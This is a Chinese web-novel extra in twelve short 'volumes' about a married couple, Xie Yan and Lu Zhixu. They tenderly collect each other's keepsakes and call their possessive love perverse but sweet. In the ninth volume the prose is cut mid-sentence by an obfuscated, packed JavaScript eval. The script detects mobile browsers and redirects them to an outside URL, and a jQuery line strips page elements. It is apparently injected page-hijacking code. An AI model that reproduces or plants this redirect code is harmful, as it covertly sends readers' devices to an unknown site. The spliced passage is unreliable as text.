楔子
“变态”这个词，在字典里的解释是：心理或行为异常的人。
按照这个定义，谢砚和陆知许，都是变态。
一个喜欢收藏爱人的一切，从照片到头发丝。
一个喜欢被收藏，甚至主动提供素材。
一个占有欲强到想把对方锁在身边。
一个心甘情愿被锁，还要递上钥匙。
这样的两个人，婚后会是什么样子？
答案是——
更变态了。
但也更甜了。
甜到发腻的那种甜。
---
第一卷：清晨的战争
【场景：早上七点，卧室】
阳光透过窗帘缝隙洒进来，在床单上投下细碎的光斑。
陆知许睁开眼睛，第一件事就是转头看向身边。
谢砚还在睡。
蜷缩在他怀里，呼吸均匀，睫毛很长，在眼睑下投出浅浅的阴影。
陆知许没有动。
他就那么躺着，看着谢砚的睡颜，嘴角不自觉地上扬。
三年了。
结婚三年了。
每天早上醒来，看见这张脸，还是会心跳加速。
还是会忍不住想——
这是我的。
是我的爱人，我的伴侣，我的余生。
陆知许轻轻抬起手，指尖悬在谢砚脸颊上方，没有碰触，只是虚虚地描绘着他的轮廓。
从眉心到鼻尖，从鼻尖到嘴唇，从嘴唇到下巴。
每描一遍，心里的满足感就多一分。
“看够了吗？”
谢砚突然开口，眼睛没睁开，嘴角却带着笑。
陆知许的手僵在半空，脸微微发热。
“您醒了？”
“被你盯醒的。”谢砚睁开眼睛，深褐色的眸子在晨光下显得格外温柔，“看了多久？”
“没、没多久……”
“撒谎。”谢砚翻身，把他压在身下，“从你醒到现在，至少五分钟。你看了我五分钟，现在该我了。”
陆知许的脸更红了：“您看什么……”
“看你。”谢砚说，目光从他额头慢慢往下移，“看你眼角的痣，看你鼻尖的汗，看你锁骨上的痕迹——”
他顿了顿，指尖轻轻点在那个痕迹上：“我昨天留下的。”
陆知许的身体微微颤抖。
不是害怕，是……
是那种被占有、被珍视的满足感。
“谢砚……”他小声叫他的名字。
“嗯？”
“早安。”
谢砚笑了。
他低下头，在陆知许唇上印下一个吻。
很轻，很温柔。
“早安，知许。”
---
第二卷：早餐桌上的战争
【场景：早上七点半，厨房】
谢砚在煎蛋，陆知许在烤面包。
两个人分工明确，配合默契，像做过千百遍。
但仔细看，就会发现——
陆知许的目光，一直黏在谢砚身上。
看他系围裙的背影，看他握锅铲的手，看他偶尔回头时温柔的笑。
“再看下去，蛋要糊了。”谢砚说，没回头。
“不会，”陆知许说，“您煎的蛋不会糊。”
谢砚笑了。
他把煎好的蛋装盘，端到餐桌上。
陆知许也把烤好的面包拿过来，还有热好的牛奶。
两个人面对面坐下，开始吃早餐。
很普通的早餐。
但陆知许吃得很慢，像是在品味什么珍贵的东西。
“不好吃？”谢砚问。
“好吃，”陆知许说，“就是想多吃一会儿。”
谢砚看着他，眼神很深。
“那就多吃一会儿，”他说，“我陪你。”
陆知许笑了。
两个人继续吃早餐，偶尔说几句话，聊一些很普通的事——
今天的工作安排，明天的天气，下周要不要去郊游……
很平淡，但很温馨。
吃完早餐，陆知许收拾碗筷，谢砚去换衣服。
等谢砚从卧室出来时，陆知许已经站在门口等他了。
手里拿着一条围巾。
“今天降温，”陆知许说，“戴上。”
谢砚低头，让他给自己系围巾。
陆知许系得很认真，很仔细，把围巾的两端塞进大衣领口，确保不会漏风。
系完，他退后一步，看了看，满意地点头。
“好了。”他说。
谢砚看着他认真的样子，心里涌起一股暖流。
“知许。”他叫他。
“嗯？”
“过来。”
陆知许走过去，谢砚伸手把他拉进怀里，在他额头上印下一个吻。
“晚上见。”他说。
“嗯，”陆知许点头，“晚上见。”
两个人走出家门，一个往左，一个往右。
像所有普通的夫妻一样。
但陆知许知道，不一样。
因为谢砚的围巾里，藏着他昨天偷偷缝进去的一小片布料。
那片布料，是从谢砚的旧衬衫上剪下来的。
这样，谢砚一整天，都会带着他的气息。
这个想法很变态。
但陆知许很满足。
---
第三卷：办公室的秘密
【场景：上午十点，谢砚的办公室】
谢砚坐在办公桌前，正在批改学生的论文。
但他的目光，总是不自觉地飘向抽屉。
那里面，有陆知许今早偷偷塞进去的东西。
一个小盒子。
他打开盒子，里面是一张照片。
照片上，陆知许站在他们家的阳台上，对着镜头笑。
阳光照在他身上，给他镀上一层金色的光。
照片背面，有一行字：
“想我的时候，就看看我。——知许”
谢砚笑了。
他把照片拿出来，放在桌上，用笔筒挡住，只露出一点点。
这样，他工作的时候，一抬头就能看见。
一整个上午，他看了那张照片很多次。
每次看，嘴角都会不自觉地扬起。
中午休息的时候，他拿出手机，给陆知许发消息：
“照片收到了。”
很快，回复来了：
“喜欢吗？”
“喜欢。”
“那就好。”
谢砚想了想，又发了一条：
“晚上早点回来。”
“好。”
发完，他把手机收起来，继续工作。
但心里，已经开始期待晚上了。
---
第四卷：出版社的日常
【场景：下午三点，出版社编辑部】
陆知许坐在工位上，正在审稿。
他的工作是图书编辑，每天要看大量的稿件。
以前他觉得很枯燥。
但现在，他觉得很幸福。
因为这份工作，是谢砚帮他选的。
“你适合这个，”谢砚当时说，“安静，稳定，能做自己喜欢的事。”
他听了谢砚的话，选了这份工作。
现在，他真的很喜欢。
不是因为工作本身，是因为——
这是谢砚为他选的。
下午三点半，手机震动了一下。
是谢砚的消息：
“下午茶时间。记得休息。”
陆知许笑了。
他放下笔，起身去茶水间泡了杯茶。
茶是谢砚给他准备的，大红袍，装在茶叶罐里。
那个茶叶罐，就是当年谢砚送他的那个。
他一直在用。
三年了，茶叶喝完了就添，但罐子没换过。
因为这是谢砚送的。
泡好茶，他回到工位，一边喝一边看手机。
相册里，有几百张谢砚的照片。
有结婚那天拍的，有日常偷拍的，有谢砚睡着时偷偷拍的。
每一张，他都仔细分类，标注日期和地点。
最新的一张，是今天早上拍的——
谢砚系围巾的样子。
阳光从窗户照进来，在他身上镀上一层金色的光。
他微微低着头，睫毛很长，嘴角带着温柔的笑。
陆知许看着那张照片，看了很久。
然后他保存，锁屏，继续工作。
但心里，满满的，都是谢砚。
---
第五卷：收藏柜的更新
【场景：傍晚六点，家里的地下室】
陆知许下班回来，第一件事就是去地下室。
那里，有他们的收藏柜。
三年了，柜子里的东西越来越多。
最上层，是谢砚的东西——
那枚钢笔笔帽，那个茶叶罐，那条银色的锁链手链，还有谢砚第一次给他泡茶时用过的茶杯。
第二层，是陆知许的东西——
那条月亮项链，那枚订婚戒指，那张毕业照，还有谢砚第一次送他的那本相册。
第三层，是他们共同的东西——
结婚证复印件，蜜月旅行的机票，第一次一起逛超市的收据，还有一本厚厚的相册，记录着他们在一起的每一天。
每一件，都摆放得整整齐齐。
每一件，都有标签，注明日期和意义。
陆知许站在柜子前，看着这些收藏，心里涌起一股奇异的满足感。
这是他们的爱情博物馆。
只属于他们两个人的。
他拿出手机，拍了一张照片，发给谢砚：
“今天又添了几样东西。”
很快，回复来了：
“晚上回去看。”
陆知许笑了。
他关掉灯，锁上门，离开地下室。
走在楼梯上，他还在想，下次要添什么进去。
谢砚下次出差时的机票？
还是……
算了，到时候再说。
反正他们还有一辈子的时间。
---
第六卷：晚餐的博弈
【场景：晚上七点，家里】
谢砚回来的时候，陆知许已经在厨房忙活了。
系着围裙，拿着锅铲，看起来很认真。
谢砚走过去，从背后抱住他。
“回来了？”陆知许没回头，但嘴角已经扬起来。
“嗯，”谢砚把下巴抵在他肩上，“做什么？”
“红烧肉，”陆知许说，“您喜欢的。”
谢砚笑了。
他轻轻吻了吻陆知许的耳垂，然后松开手，去换衣服。
等他换好衣服出来，饭菜已经上桌了。
红烧肉，清炒西兰花，番茄蛋汤，还有两碗米饭。
很简单，但看起来很丰盛。
两个人面对面坐下，开始吃饭。
“好吃。”谢砚夹了块红烧肉，点头。
陆知许笑了：“那就多吃点。”
两个人安静地吃饭，偶尔说几句话。
吃完，陆知许收拾碗筷，谢砚去洗碗。
分工明确，配合默契。
洗完碗，两个人窝在沙发上看电视。
谢砚搂着陆知许，陆知许靠在他怀里。
电视里放的是什么，两个人都没看进去。
“今天想我了吗？”谢砚问。
“想了，”陆知许说，“每分每秒都在想。”
谢砚笑了：“我也是。”
他低头，在陆知许额头上印下一个吻。
陆知许抬起头，吻住他的嘴唇。
很温柔的吻，很缠绵。
吻完，两个人都有些喘。
“今天……”陆知许小声说，“有新收藏吗？”
谢砚想了想，从口袋里拿出一个小东西。
是一张收据。
“今天中午吃饭的收据，”他说，“上面有我的指纹。”
陆知许接过收据，仔细看了看，然后小心翼翼地收进口袋里。
“谢谢。”他说。
谢砚笑了：“不客气。”
两个人继续窝在沙发里，看那部根本没看进去的电视剧。
但谁都不在意。
因为只要在一起，就够了。
---
第七卷：睡前的仪式
【场景：晚上十一点，卧室】
陆知许洗完澡出来，谢砚已经在床上了。
靠在床头，手里拿着一本书，戴着眼镜。
陆知许走过去，爬上床，钻进他怀里。
谢砚放下书，摘下眼镜，搂住他。
“困了？”他问。
“嗯，”陆知许点头，“有点。”
“那就睡吧。”
陆知许闭上眼睛，但没有立刻睡着。
他在等。
等那个每晚都有的仪式。
果然，几秒后，谢砚开口了：
“知许。”
“嗯？”
“我爱你。”
陆知许睁开眼睛，看着谢砚。
谢砚也看着他，深褐色的眼睛里盛满了温柔。
“我也爱你。”陆知许说。
然后他凑过去，在谢砚唇上印下一个吻。
吻完，他重新缩回谢砚怀里，闭上眼睛。
谢砚轻轻拍着他的背，像哄小孩一样。
很快，陆知许的呼吸变得均匀，睡着了。
谢砚看着他安静的睡颜，嘴角扬起一个温柔的笑。
然后他也闭上眼睛，抱着怀里的人，慢慢进入梦乡。
窗外，月亮很亮。
洒在他们身上，洒在他们交握的手上。
两枚戒指，在月光下闪着温润的光。
像他们的爱情。
经历过风雨，依然熠熠生辉。
经历过考验，依然坚定如初。
---
第八卷：周末的“战争”
【场景：周六早上，卧室】
陆知许醒来时，谢砚已经不在身边了。
他愣了一下，然后听到厨房里传来的声音。
谢砚在做早饭。
陆知许笑了，翻了个身，打算再赖一会儿床。
但刚闭上眼，就感觉到有人进来了。
“醒了？”谢砚的声音在耳边响起。
陆知许睁开眼，看见谢砚端着一个托盘站在床边。
托盘上，是两份早餐。
煎蛋，吐司，牛奶，还有一小碟水果。
“早餐在床？”陆知许有些惊讶。
“周末特别服务。”谢砚说，把托盘放在床头柜上。
陆知许坐起来，谢砚在他身边坐下。
两个人靠着床头，一起吃早餐。
很温馨，很甜蜜。
吃完，谢砚把托盘拿走，回来时手里拿着一个小盒子。
“这是什么？”陆知许问。
“礼物。”谢砚说，把盒子递给他。
陆知许打开盒子，里面是一条新的项链。
很细的银链子，吊坠是一枚小小的钥匙。
和他当年送给谢砚的那枚一模一样。
“这是……”陆知许抬起头。
“配对的。”谢砚说，从脖子上拉出他自己的项链。
那上面，是陆知许当年送他的那枚钥匙。
“你的是钥匙，我的是锁。”谢砚说，“我们是彼此的。”
陆知许的眼泪差点掉下来。
他抱住谢砚，把脸埋在他怀里。
“谢谢您……”他小声说。
谢砚笑了，轻轻拍着他的背。
“傻瓜，”他说，“该谢谢的是我。”
两个人抱了很久。
然后陆知许抬起头，眼睛红红的，但很亮。
“帮我戴上。”他说。
谢砚拿起项链，小心地戴在他脖子上。
两枚钥匙，并排贴在陆知许的胸口。
一枚是谢砚送他的。
一枚是他送谢砚的。
都是爱情的见证。
都是彼此的证明。
陆知许摸了摸那两枚钥匙，笑了。
“这样，我们就是彼此的了。”他说。
谢砚点头：“一直都是。”
窗外的阳光很好。
照在两个人身上，暖洋洋的。
新的一天，又开始了。
而他们，会继续这样——
互相收藏，互相占有，互相爱着。
一辈子。
---
第九卷：来访的“不速之客”
【场景：周六下午，家里】
门铃响的时候，陆知许正在客厅看书，谢砚在书房写论文。
“谁啊？”陆知许放下书，去开门。
门外站着三个人。
陈宇、李锐、张子轩。
“Surprise！”三个人齐声喊。
陆知许愣住了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301365|198640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“你们怎么来了？”
“来看你啊，”陈宇挤进来，“好久没见了，想你了。”
李锐和张子轩也跟着进来，一进门就开始打量。
“可以啊老陆，”李锐说，“房子不错，收拾得挺干净。”
“谢教授呢？”张子轩问。
“在书房。”陆知许说。
话音刚落，谢砚从书房出来了。
穿着家居服，戴着眼镜，手里还拿着笔。
看见三个不速之客，他愣了一下，然后笑了。
“来了？”他问，很自然。
“谢教授好！”三个人齐声打招呼。
谢砚点点头：“坐，我去泡茶。”
他转身去厨房，陆知许招呼三个人在沙发上坐下。
“你们怎么突然来了？”陆知许问。
“就是突然想你了，”陈宇说，“顺便看看你和谢教授过得怎么样。”
“挺好的。”陆知许说。
“看得出来，”李锐环顾四周，“这家里到处都是你们俩的痕迹。”
确实。
客厅的墙上，挂着他们的结婚照。
茶几上，摆着他们的合照。
书架上，有谢砚的书，也有陆知许的笔记。
每一个角落，都有两个人的气息。
谢砚端着茶出来，给每人倒了一杯。
“谢谢谢教授。”三个人接过茶。
“不用客气，”谢砚说，“把这里当自己家。”
他在陆知许身边坐下，很自然地搂住他的肩。
三个人看着这个动作，交换了一个眼神。
“你们俩……”陈宇开口，“一直都这么腻歪吗？”
陆知许的脸红了：“哪有……”
“有。”谢砚说，很坦然。
三个人都笑了。
“行行行，你们继续腻歪，”李锐说，“我们就是来看看，看完就走。”
“这么快？”陆知许有些惊讶。
“嗯，晚上还有事，”张子轩说，“就是路过，顺便看看。”
三个人喝完茶，又聊了一会儿，就起身告辞了。
送走他们，陆知许回到客厅，看见谢砚正在收拾茶杯。
“他们就是来看看我们。”陆知许说。
“嗯，”谢砚点头，“朋友挺好的。”
陆知许走过去，从背后抱住他。
“怎么了？”谢砚问。
“没什么，”陆知许把脸埋在他背上，“就是想抱抱您。”
谢砚笑了。
他放下茶杯，转过身，把陆知许搂进怀里。
“那就抱。”他说，“抱多久都行。”
陆知许笑了。
两个人就那么抱着，在午后的阳光里。
很久很久。
---
第十卷：深夜的坦白
【场景：周六晚上，卧室】
晚上，两个人躺在床上，都还没睡。
陆知许翻了个身，面向谢砚。
“谢砚。”他小声叫他的名字。
“嗯？”
“我问您一个问题。”
“问。”
陆知许犹豫了一下，然后说：“您觉得……我们变态吗？”
谢砚愣了一下。
然后他笑了。
“你觉得呢？”他反问。
“我觉得……”陆知许想了想，“有点。”
“哪里变态？”
“我收藏您的东西，”陆知许说，“头发、照片、用过的东西……正常人不会这样。”
谢砚点点头：“嗯，确实。”
陆知许的心沉了一下。
但谢砚继续说：“但我收藏你的东西，也差不多。照片、录音、你写给我的每一张纸条……”
他顿了顿，看着陆知许的眼睛。
“所以我们是绝配。”
陆知许的眼睛亮了起来。
“真的？”
“真的，”谢砚说，“变态配变态，刚好。”
陆知许笑了。
他往谢砚怀里蹭了蹭。
“那您喜欢这样的我吗？”他小声问。
谢砚搂紧他。
“喜欢，”他说，“非常喜欢。”
“为什么？”
“因为这样的你，只属于我。”
陆知许的心跳漏了一拍。
“只有我知道你的秘密，”谢砚继续说，“只有我看见过你的收藏柜，只有我能让你露出那种满足的笑。”
他的声音很轻，但很坚定。
“所以，你是我的。”
陆知许的眼泪差点掉下来。
他把脸埋在谢砚怀里，小声说：“您也是我的。”
“嗯，”谢砚说，“一直都是。”
窗外月色如水。
洒在两个人身上。
像一场无声的誓言。
誓言要一直这样——
变态下去。
甜蜜下去。
在一起下去。
永远。
---
第十一卷：收藏柜的新成员
【场景：周日下午，地下室】
陆知许站在收藏柜前，手里拿着一个小盒子。
这是谢砚昨天送他的那枚钥匙项链。
他已经戴在脖子上了。
但盒子，他想收藏起来。
他打开玻璃柜门，在最上层找了个空位，把盒子放进去。
旁边，是谢砚送他的那枚锁链手链。
两样东西并排，像一对。
陆知许看着它们，嘴角扬起一个满足的笑。
然后他拿出手机，拍了一张照片。
发给谢砚：
“新成员。”
很快，回复来了：
“看到了。位置不错。”
陆知许笑了。
他关掉柜门，锁好，离开了地下室。
回到客厅，谢砚正在看书。
看见他上来，放下书，问：“放好了？”
“嗯。”陆知许走过去，在他身边坐下。
谢砚伸手搂住他。
“下次送你什么好呢？”他若有所思地说。
陆知许愣了一下：“还要送？”
“当然，”谢砚说，“每个月都要送。这样你的收藏柜，就会一直有新的东西。”
陆知许的眼睛亮了起来。
“真的？”
“真的。”
陆知许笑了。
他靠在谢砚肩上，小声说：“那我也会一直送您。”
“送什么？”
“送……我做的钥匙扣，我写的日记，我拍的您的照片……”
谢砚点头：“好。我等着。”
两个人靠在沙发上，看着窗外的夕阳。
很安静，很温馨。
但他们的心里，都在盘算着——
下次送什么好呢？
要让对方惊喜。
要让对方开心。
要让对方……
更爱自己。
这就是他们的爱情。
变态的，甜蜜的，独一无二的。
属于陆知许和谢砚的。
永远的。
---
第十二卷：永远的永远
【场景：深夜，卧室】
夜深了。
陆知许已经睡着，蜷缩在谢砚怀里，呼吸均匀。
谢砚没有睡。
他就那么躺着，看着怀里的人，看了很久。
三年了。
从相识到现在，三年了。
三年里，他们经历了很多——
林薇的威胁，学院的调查，毕业的分离，婚后的磨合。
但他们都走过来了。
而且比以前更相爱。
谢砚轻轻抬起手，抚过陆知许的头发。
很软，和他第一次见到时一样。
他又摸了摸陆知许脖子上的项链——两枚钥匙，并排贴着胸口。
那是他送的，和陆知许送他的。
都是钥匙。
都是锁。
都是彼此的证明。
谢砚笑了笑，闭上眼睛。
在心里默念：
知许。
我的知许。
永远都是。
窗外，月亮西沉。
天快亮了。
新的一天，又要开始了。
而他们会继续这样——
在一起。
相爱。
变态。
永远。